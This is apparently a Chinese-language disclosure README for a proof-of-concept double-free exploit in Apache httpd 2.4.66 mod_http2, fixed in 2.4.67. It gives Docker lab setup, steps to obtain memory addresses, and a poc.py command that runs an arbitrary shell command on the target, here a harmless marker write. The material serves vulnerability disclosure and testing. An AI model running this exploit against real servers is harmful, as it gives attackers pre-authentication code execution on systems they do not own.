Apache httpd 的 mod_http2 流清理中存在双重释放漏洞,可导致预认证 RCE。
受影响版本:启用 mod_http2 和多线程 MPM(event/worker)的 httpd 2.4.66。 修复版本:2.4.67。
由 Bartlomiej Dmitruk (striga.ai) 和 Stanislaw Strzalkowski (isec.pl) 发现并报告。
技术分析:https://striga.ai/research/apache-httpd-mod-http2-double-free
构建并启动存在漏洞的环境:
docker build -t httpd-poc .
docker run -d --name httpd-poc --privileged -p 9443:443 httpd-poc
获取 system() 和 scoreboard 地址:
docker exec httpd-poc python3 /getaddr.py 1
运行漏洞利用程序:
python3 poc.py --host localhost --port 9443 \
--cmd 'date >> /tmp/win' --workers 64 \
--system <system_addr> --scoreboard <scoreboard_addr>
验证(执行结果是概率性的,可能需要几分钟到几小时):
docker exec httpd-poc cat /tmp/win
docker rm -f httpd-poc